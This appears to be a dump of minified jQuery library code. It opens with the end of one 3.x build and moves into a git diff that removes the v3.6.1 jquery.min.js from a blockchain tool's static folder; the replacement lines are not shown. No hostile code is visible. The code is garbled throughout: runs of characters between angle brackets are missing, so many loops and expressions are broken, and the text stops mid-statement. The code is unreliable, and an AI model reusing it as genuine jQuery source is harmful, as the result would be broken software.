Ga(a){var b=Ca.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function Ha(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(W.hasData(a)&&(f=W.access(a),g=W.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;c1&&"string"==typeof q&&!o.checkClone&&Ba.test(q))return a.each(function(e){var f=a.eq(e);s&&(b[0]=q.call(this,e,f.html())),Ja(f,b,c,d)});if(m&&(e=qa(b,a[0].ownerDocument,!1,a,d),f=e.firstChild,1===e.childNodes.length&&(e=f),f||d)){for(h=r.map(na(e,"script"),Fa),i=h.length;l")},clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=r.contains(a.ownerDocument,a);if(!(o.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||r.isXMLDoc(a)))for(g=na(h),f=na(a),d=0,e=f.length;d0&&oa(g,!i&&na(a,"script")),h},cleanData:function(a){for(var b,c,d,e=r.event.special,f=0;void 0!==(c=a[f]);f++)if(U(c)){if(b=c[W.expando]){if(b.events)for(d in b.events)e[d]?r.event.remove(c,d):r.removeEvent(c,d,b.handle);c[W.expando]=void 0}c[X.expando]&&(c[X.expando]=void 0)}}}),r.fn.extend({detach:function(a){return Ka(this,a,!0)},remove:function(a){return Ka(this,a)},text:function(a){return T(this,function(a){return void 0===a?r.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=a)})},null,a,arguments.length)},append:function(){return Ja(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ea(this,a);b.appendChild(a)}})},prepend:function(){return Ja(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ea(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return Ja(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return Ja(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(r.cleanData(na(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null!=a&&a,b=null==b?a:b,this.map(function(){return r.clone(this,a,b)})},html:function(a){return T(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!Aa.test(a)&&!ma[(ka.exec(a)||["",""])[1].toLowerCase()]){a=r.htmlPrefilter(a);try{for(;c1)}}),r.fn.delay=function(b,c){return b=r.fx?r.fx.speeds[b]||b:b,c=c||"fx",this.queue(c,function(c,d){var e=a.setTimeout(c,b);d.stop=function(){a.clearTimeout(e)}})},function(){var a=d.createElement("input"),b=d.createElement("select"),c=b.appendChild(d.createElement("option"));a.type="checkbox",o.checkOn=""!==a.value,o.optSelected=c.selected,a=d.createElement("input"),a.value="t",a.type="radio",o.radioValue="t"===a.value}();var _a,ab=r.expr.attrHandle;r.fn.extend({attr:function(a,b){return T(this,r.attr,a,b,arguments.length>1)},removeAttr:function(a){return this.each(function(){r.removeAttr(this,a)})}}),r.extend({attr:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return"undefined"==typeof a.getAttribute?r.prop(a,b,c):(1===f&&r.isXMLDoc(a)||(e=r.attrHooks[b.toLowerCase()]||(r.expr.match.bool.test(b)?_a:void 0)),void 0!==c?null===c?void r.removeAttr(a,b):e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:(a.setAttribute(b,c+""),c):e&&"get"in e&&null!==(d=e.get(a,b))?d:(d=r.find.attr(a,b),null==d?void 0:d))},attrHooks:{type:{set:function(a,b){if(!o.radioValue&&"radio"===b&&B(a,"input")){var c=a.value;return a.setAttribute("type",b),c&&(a.value=c),b}}}},removeAttr:function(a,b){var c,d=0,e=b&&b.match(L);if(e&&1===a.nodeType)while(c=e[d++])a.removeAttribute(c)}}),_a={set:function(a,b,c){return b===!1?r.removeAttr(a,c):a.setAttribute(c,c),c}},r.each(r.expr.match.bool.source.match(/\w+/g),function(a,b){var c=ab[b]||r.find.attr;ab[b]=function(a,b,d){var e,f,g=b.toLowerCase();return d||(f=ab[g],ab[g]=e,e=null!=c(a,b,d)?g:null,ab[g]=f),e}});var bb=/^(?:input|select|textarea|button)$/i,cb=/^(?:a|area)$/i;r.fn.extend({prop:function(a,b){return T(this,r.prop,a,b,arguments.length>1)},removeProp:function(a){return this.each(function(){delete this[r.propFix[a]||a]})}}),r.extend({prop:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return 1===f&&r.isXMLDoc(a)||(b=r.propFix[b]||b,e=r.propHooks[b]),void 0!==c?e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:a[b]=c:e&&"get"in e&&null!==(d=e.get(a,b))?d:a[b]},propHooks:{tabIndex:{get:function(a){var b=r.find.attr(a,"tabindex");return b?parseInt(b,10):bb.test(a.nodeName)||cb.test(a.nodeName)&&a.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),o.optSelected||(r.propHooks.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),r.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){r.propFix[this.toLowerCase()]=this});function db(a){var b=a.match(L)||[];return b.join(" ")}function eb(a){return a.getAttribute&&a.getAttribute("class")||""}r.fn.extend({addClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).addClass(a.call(this,b,eb(this)))});if("string"==typeof a&&a){b=a.match(L)||[];while(c=this[i++])if(e=eb(c),d=1===c.nodeType&&" "+db(e)+" "){g=0;while(f=b[g++])d.indexOf(" "+f+" ")<0&&(d+=f+" ");h=db(d),e!==h&&c.setAttribute("class",h)}}return this},removeClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).removeClass(a.call(this,b,eb(this)))});if(!arguments.length)return this.attr("class","");if("string"==typeof a&&a){b=a.match(L)||[];while(c=this[i++])if(e=eb(c),d=1===c.nodeType&&" "+db(e)+" "){g=0;while(f=b[g++])while(d.indexOf(" "+f+" ")>-1)d=d.replace(" "+f+" "," ");h=db(d),e!==h&&c.setAttribute("class",h)}}return this},toggleClass:function(a,b){var c=typeof a;return"boolean"==typeof b&&"string"===c?b?this.addClass(a):this.removeClass(a):r.isFunction(a)?this.each(function(c){r(this).toggleClass(a.call(this,c,eb(this),b),b)}):this.each(function(){var b,d,e,f;if("string"===c){d=0,e=r(this),f=a.match(L)||[];while(b=f[d++])e.hasClass(b)?e.removeClass(b):e.addClass(b)}else void 0!==a&&"boolean"!==c||(b=eb(this),b&&W.set(this,"__className__",b),this.setAttribute&&this.setAttribute("class",b||a===!1?"":W.get(this,"__className__")||""))})},hasClass:function(a){var b,c,d=0;b=" "+a+" ";while(c=this[d++])if(1===c.nodeType&&(" "+db(eb(c))+" ").indexOf(b)>-1)return!0;return!1}});var fb=/\r/g;r.fn.extend({val:function(a){var b,c,d,e=this[0];{if(arguments.length)return d=r.isFunction(a),this.each(function(c){var e;1===this.nodeType&&(e=d?a.call(this,c,r(this).val()):a,null==e?e="":"number"==typeof e?e+="":Array.isArray(e)&&(e=r.map(e,function(a){return null==a?"":a+""})),b=r.valHooks[this.type]||r.valHooks[this.nodeName.toLowerCase()],b&&"set"in b&&void 0!==b.set(this,e,"value")||(this.value=e))});if(e)return b=r.valHooks[e.type]||r.valHooks[e.nodeName.toLowerCase()],b&&"get"in b&&void 0!==(c=b.get(e,"value"))?c:(c=e.value,"string"==typeof c?c.replace(fb,""):null==c?"":c)}}}),r.extend({valHooks:{option:{get:function(a){var b=r.find.attr(a,"value");return null!=b?b:db(r.text(a))}},select:{get:function(a){var b,c,d,e=a.options,f=a.selectedIndex,g="select-one"===a.type,h=g?null:[],i=g?f+1:e.length;for(d=f<0?i:g?f:0;d-1)&&(c=!0);return c||(a.selectedIndex=-1),f}}}}),r.each(["radio","checkbox"],function(){r.valHooks[this]={set:function(a,b){if(Array.isArray(b))return a.checked=r.inArray(r(a).val(),b)>-1}},o.checkOn||(r.valHooks[this].get=function(a){return null===a.getAttribute("value")?"on":a.value})});var gb=/^(?:focusinfocus|focusoutblur)$/;r.extend(r.event,{trigger:function(b,c,e,f){var g,h,i,j,k,m,n,o=[e||d],p=l.call(b,"type")?b.type:b,q=l.call(b,"namespace")?b.namespace.split("."):[];if(h=i=e=e||d,3!==e.nodeType&&8!==e.nodeType&&!gb.test(p+r.event.triggered)&&(p.indexOf(".")>-1&&(q=p.split("."),p=q.shift(),q.sort()),k=p.indexOf(":")<0&&"on"+p,b=b[r.expando]?b:new r.Event(p,"object"==typeof b&&b),b.isTrigger=f?2:3,b.namespace=q.join("."),b.rnamespace=b.namespace?new RegExp("(^|\\.)"+q.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=e),c=null==c?[b]:r.makeArray(c,[b]),n=r.event.special[p]||{},f||!n.trigger||n.trigger.apply(e,c)!==!1)){if(!f&&!n.noBubble&&!r.isWindow(e)){for(j=n.delegateType||p,gb.test(j+p)||(h=h.parentNode);h;h=h.parentNode)o.push(h),i=h;i===(e.ownerDocument||d)&&o.push(i.defaultView||i.parentWindow||a)}g=0;while((h=o[g++])&&!b.isPropagationStopped())b.type=g>1?j:n.bindType||p,m=(W.get(h,"events")||{})[b.type]&&W.get(h,"handle"),m&&m.apply(h,c),m=k&&h[k],m&&m.apply&&U(h)&&(b.result=m.apply(h,c),b.result===!1&&b.preventDefault());return b.type=p,f||b.isDefaultPrevented()||n._default&&n._default.apply(o.pop(),c)!==!1||!U(e)||k&&r.isFunction(e[p])&&!r.isWindow(e)&&(i=e[k],i&&(e[k]=null),r.event.triggered=p,e[p](),r.event.triggered=void 0,i&&(e[k]=i)),b.result}},simulate:function(a,b,c){var d=r.extend(new r.Event,c,{type:a,isSimulated:!0});r.event.trigger(d,null,b)}}),r.fn.extend({trigger:function(a,b){return this.each(function(){r.event.trigger(a,b,this)})},triggerHandler:function(a,b){var c=this[0];if(c)return r.event.trigger(a,b,c,!0)}}),r.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(a,b){r.fn[b]=function(a,c){return arguments.length>0?this.on(b,null,a,c):this.trigger(b)}}),r.fn.extend({hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}}),o.focusin="onfocusin"in a,o.focusin||r.each({focus:"focusin",blur:"focusout"},function(a,b){var c=function(a){r.event.simulate(b,a.target,r.event.fix(a))};r.event.special[b]={setup:function(){var d=this.ownerDocument||this,e=W.access(d,b);e||d.addEventListener(a,c,!0),W.access(d,b,(e||0)+1)},teardown:function(){var d=this.ownerDocument||this,e=W.access(d,b)-1;e?W.access(d,b,e):(d.removeEventListener(a,c,!0),W.remove(d,b))}}});var hb=/\[\]$/,ib=/\r?\n/g,jb=/^(?:submit|button|image|reset|file)$/i,kb=/^(?:input|select|textarea|keygen)/i;function lb(a,b,c,d){var e;if(Array.isArray(b))r.each(b,function(b,e){c||hb.test(a)?d(a,e):lb(a+"["+("object"==typeof e&&null!=e?b:"")+"]",e,c,d); +});else if(c||"object"!==r.type(b))d(a,b);else for(e in b)lb(a+"["+e+"]",b[e],c,d)}r.param=function(a,b){var c,d=[],e=function(a,b){var c=r.isFunction(b)?b():b;d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(null==c?"":c)};if(Array.isArray(a)||a.jquery&&!r.isPlainObject(a))r.each(a,function(){e(this.name,this.value)});else for(c in a)lb(c,a[c],b,e);return d.join("&")},r.fn.extend({serialize:function(){return r.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var a=r.prop(this,"elements");return a?r.makeArray(a):this}).filter(function(){var a=this.type;return this.name&&!r(this).is(":disabled")&&kb.test(this.nodeName)&&!jb.test(a)&&(this.checked||!ja.test(a))}).map(function(a,b){var c=r(this).val();return null==c?null:Array.isArray(c)?r.map(c,function(a){return{name:b.name,value:a.replace(ib,"\r\n")}}):{name:b.name,value:c.replace(ib,"\r\n")}}).get()}}),r.fn.extend({wrapAll:function(a){var b;return this[0]&&(r.isFunction(a)&&(a=a.call(this[0])),b=r(a,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstElementChild)a=a.firstElementChild;return a}).append(this)),this},wrapInner:function(a){return r.isFunction(a)?this.each(function(b){r(this).wrapInner(a.call(this,b))}):this.each(function(){var b=r(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=r.isFunction(a);return this.each(function(c){r(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(a){return this.parent(a).not("body").each(function(){r(this).replaceWith(this.childNodes)}),this}}),r.expr.pseudos.hidden=function(a){return!r.expr.pseudos.visible(a)},r.expr.pseudos.visible=function(a){return!!(a.offsetWidth||a.offsetHeight||a.getClientRects().length)},o.createHTMLDocument=function(){var a=d.implementation.createHTMLDocument("").body;return a.innerHTML="
",2===a.childNodes.length}(),r.parseHTML=function(a,b,c){if("string"!=typeof a)return[];"boolean"==typeof b&&(c=b,b=!1);var e,f,g;return b||(o.createHTMLDocument?(b=d.implementation.createHTMLDocument(""),e=b.createElement("base"),e.href=d.location.href,b.head.appendChild(e)):b=d),f=C.exec(a),g=!c&&[],f?[b.createElement(f[1])]:(f=qa([a],b,g),g&&g.length&&r(g).remove(),r.merge([],f.childNodes))},r.offset={setOffset:function(a,b,c){var d,e,f,g,h,i,j,k=r.css(a,"position"),l=r(a),m={};"static"===k&&(a.style.position="relative"),h=l.offset(),f=r.css(a,"top"),i=r.css(a,"left"),j=("absolute"===k||"fixed"===k)&&(f+i).indexOf("auto")>-1,j?(d=l.position(),g=d.top,e=d.left):(g=parseFloat(f)||0,e=parseFloat(i)||0),r.isFunction(b)&&(b=b.call(a,c,r.extend({},h))),null!=b.top&&(m.top=b.top-h.top+g),null!=b.left&&(m.left=b.left-h.left+e),"using"in b?b.using.call(a,m):l.css(m)}},r.fn.extend({offset:function(a){if(arguments.length)return void 0===a?this:this.each(function(b){r.offset.setOffset(this,a,b)});var b,c,d,e,f=this[0];if(f)return f.getClientRects().length?(d=f.getBoundingClientRect(),b=f.ownerDocument,c=b.documentElement,e=b.defaultView,{top:d.top+e.pageYOffset-c.clientTop,left:d.left+e.pageXOffset-c.clientLeft}):{top:0,left:0}},position:function(){if(this[0]){var a,b,c=this[0],d={top:0,left:0};return"fixed"===r.css(c,"position")?b=c.getBoundingClientRect():(a=this.offsetParent(),b=this.offset(),B(a[0],"html")||(d=a.offset()),d={top:d.top+r.css(a[0],"borderTopWidth",!0),left:d.left+r.css(a[0],"borderLeftWidth",!0)}),{top:b.top-d.top-r.css(c,"marginTop",!0),left:b.left-d.left-r.css(c,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var a=this.offsetParent;while(a&&"static"===r.css(a,"position"))a=a.offsetParent;return a||ra})}}),r.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(a,b){var c="pageYOffset"===b;r.fn[a]=function(d){return T(this,function(a,d,e){var f;return r.isWindow(a)?f=a:9===a.nodeType&&(f=a.defaultView),void 0===e?f?f[b]:a[d]:void(f?f.scrollTo(c?f.pageXOffset:e,c?e:f.pageYOffset):a[d]=e)},a,d,arguments.length)}}),r.each(["top","left"],function(a,b){r.cssHooks[b]=Pa(o.pixelPosition,function(a,c){if(c)return c=Oa(a,b),Ma.test(c)?r(a).position()[b]+"px":c})}),r.each({Height:"height",Width:"width"},function(a,b){r.each({padding:"inner"+a,content:b,"":"outer"+a},function(c,d){r.fn[d]=function(e,f){var g=arguments.length&&(c||"boolean"!=typeof e),h=c||(e===!0||f===!0?"margin":"border");return T(this,function(b,c,e){var f;return r.isWindow(b)?0===d.indexOf("outer")?b["inner"+a]:b.document.documentElement["client"+a]:9===b.nodeType?(f=b.documentElement,Math.max(b.body["scroll"+a],f["scroll"+a],b.body["offset"+a],f["offset"+a],f["client"+a])):void 0===e?r.css(b,c,h):r.style(b,c,e,h)},b,g?e:void 0,g)}})}),r.fn.extend({bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return 1===arguments.length?this.off(a,"**"):this.off(b,a||"**",c)}}),r.holdReady=function(a){a?r.readyWait++:r.ready(!0)},r.isArray=Array.isArray,r.parseJSON=JSON.parse,r.nodeName=B,"function"==typeof define&&define.amd&&define("jquery",[],function(){return r});var mb=a.jQuery,nb=a.$;return r.noConflict=function(b){return a.$===r&&(a.$=nb),b&&a.jQuery===r&&(a.jQuery=mb),r},b||(a.jQuery=a.$=r),r}); diff --git a/tools/Blockchain/EtherView/server/static/js/jquery.min.js b/tools/Blockchain/EtherView/server/static/js/jquery.min.js index 2c69bc908..ea0b56fb7 100644 --- a/tools/Blockchain/EtherView/server/static/js/jquery.min.js +++ b/tools/Blockchain/EtherView/server/static/js/jquery.min.js @@ -1,2 +1,2 @@ -/*! jQuery v3.6.1 | (c) OpenJS Foundation and other contributors | jquery.org/license */ -!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,y=n.hasOwnProperty,a=y.toString,l=a.call(Object),v={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n||E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?n[o.call(e)]||"object":typeof e}var f="3.6.1",S=function(e,t){return new S.fn.init(e,t)};function p(e){var t=!!e&&"length"in e&&e.length,n=w(e);return!m(e)&&!x(e)&&("array"===n||0===t||"number"==typeof t&&0+~]|"+M+")"+M+"*"),U=new RegExp(M+"|>"),X=new RegExp(F),V=new RegExp("^"+I+"$"),G={ID:new RegExp("^#("+I+")"),CLASS:new RegExp("^\\.("+I+")"),TAG:new RegExp("^("+I+"|[*])"),ATTR:new RegExp("^"+W),PSEUDO:new RegExp("^"+F),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+R+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},Y=/HTML$/i,Q=/^(?:input|select|textarea|button)$/i,J=/^h\d$/i,K=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t||(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10|55296,1023&n|56320))},re=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ie=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},oe=function(){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(p.childNodes),p.childNodes),t[p.childNodes.length].nodeType}catch(e){H={apply:t.length?function(e,t){L.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function se(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n||[],"string"!=typeof t||!t||1!==p&&9!==p&&11!==p)return n;if(!r&&(T(e),e=e||C,E)){if(11!==p&&(u=Z.exec(t)))if(i=u[1]){if(9===p){if(!(a=e.getElementById(i)))return n;if(a.id===i)return n.push(a),n}else if(f&&(a=f.getElementById(i))&&v(e,a)&&a.id===i)return n.push(a),n}else{if(u[2])return H.apply(n,e.getElementsByTagName(t)),n;if((i=u[3])&&d.getElementsByClassName&&e.getElementsByClassName)return H.apply(n,e.getElementsByClassName(i)),n}if(d.qsa&&!N[t+" "]&&(!y||!y.test(t))&&(1!==p||"object"!==e.nodeName.toLowerCase())){if(c=t,f=e,1===p&&(U.test(t)||z.test(t))){(f=ee.test(t)&&ve(e.parentNode)||e)===e&&d.scope||((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(e){N(t,!0)}finally{s===S&&e.removeAttribute("id")}}}return g(t.replace(B,"$1"),e,n,r)}function ue(){var r=[];return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[S]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function fe(e,t){var n=e.split("|"),r=n.length;while(r--)b.attrHandle[n[r]]=t}function pe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function de(t){return function(e){return"input"===e.nodeName.toLowerCase()&&e.type===t}}function he(n){return function(e){var t=e.nodeName.toLowerCase();return("input"===t||"button"===t)&&e.type===n}}function ge(t){return function(e){return"form"in e?e.parentNode&&!1===e.disabled?"label"in e?"label"in e.parentNode?e.parentNode.disabled===t:e.disabled===t:e.isDisabled===t||e.isDisabled!==!t&&ae(e)===t:e.disabled===t:"label"in e&&e.disabled===t}}function ye(a){return le(function(o){return o=+o,le(function(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ve(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument||e).documentElement;return!Y.test(t||n&&n.nodeName||"HTML")},T=se.setDocument=function(e){var t,n,r=e?e.ownerDocument||e:p;return r!=C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),p!=C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.scope=ce(function(e){return a.appendChild(e).appendChild(C.createElement("div")),"undefined"!=typeof e.querySelectorAll&&!e.querySelectorAll(":scope fieldset div").length}),d.attributes=ce(function(e){return e.className="i",!e.getAttribute("className")}),d.getElementsByTagName=ce(function(e){return e.appendChild(C.createComment("")),!e.getElementsByTagName("*").length}),d.getElementsByClassName=K.test(C.getElementsByClassName),d.getById=ce(function(e){return a.appendChild(e).id=S,!C.getElementsByName||!C.getElementsByName(S).length}),d.getById?(b.filter.ID=function(e){var t=e.replace(te,ne);return function(e){return e.getAttribute("id")===t}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n=t.getElementById(e);return n?[n]:[]}}):(b.filter.ID=function(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},b.find.CLASS=d.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&E)return t.getElementsByClassName(e)},s=[],y=[],(d.qsa=K.test(C.querySelectorAll))&&(ce(function(e){var t;a.appendChild(e).innerHTML="",e.querySelectorAll("[msallowcapture^='']").length&&y.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||y.push("\\["+M+"*(?:value|"+R+")"),e.querySelectorAll("[id~="+S+"-]").length||y.push("~="),(t=C.createElement("input")).setAttribute("name",""),e.appendChild(t),e.querySelectorAll("[name='']").length||y.push("\\["+M+"*name"+M+"*="+M+"*(?:''|\"\")"),e.querySelectorAll(":checked").length||y.push(":checked"),e.querySelectorAll("a#"+S+"+*").length||y.push(".#.+[+~]"),e.querySelectorAll("\\\f"),y.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="";var t=C.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&y.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&y.push(":enabled",":disabled"),a.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&y.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),y.push(",.*:")})),(d.matchesSelector=K.test(c=a.matches||a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.msMatchesSelector))&&ce(function(e){d.disconnectedMatch=c.call(e,"*"),c.call(e,"[s!='']:x"),s.push("!=",F)}),y=y.length&&new RegExp(y.join("|")),s=s.length&&new RegExp(s.join("|")),t=K.test(a.compareDocumentPosition),v=t||K.test(a.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},j=t?function(e,t){if(e===t)return l=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n||(1&(n=(e.ownerDocument||e)==(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C||e.ownerDocument==p&&v(p,e)?-1:t==C||t.ownerDocument==p&&v(p,t)?1:u?P(u,e)-P(u,t):0:4&n?-1:1)}:function(e,t){if(e===t)return l=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e==C?-1:t==C?1:i?-1:o?1:u?P(u,e)-P(u,t):0;if(i===o)return pe(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?pe(a[r],s[r]):a[r]==p?-1:s[r]==p?1:0}),C},se.matches=function(e,t){return se(e,null,null,t)},se.matchesSelector=function(e,t){if(T(e),d.matchesSelector&&E&&!N[t+" "]&&(!s||!s.test(t))&&(!y||!y.test(t)))try{var n=c.call(e,t);if(n||d.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(e){N(t,!0)}return 0":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(te,ne),e[3]=(e[3]||e[4]||e[5]||"").replace(te,ne),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||se.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&se.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return G.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=h(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(te,ne).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=m[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&m(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(n,r,i){return function(e){var t=se.attr(e,n);return null==t?"!="===r:!r||(t+="","="===r?t===i:"!="===r?t!==i:"^="===r?i&&0===t.indexOf(i):"*="===r?i&&-1:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,n,r){return m(n)?S.grep(e,function(e,t){return!!n.call(e,t,e)!==r}):n.nodeType?S.grep(e,function(e){return 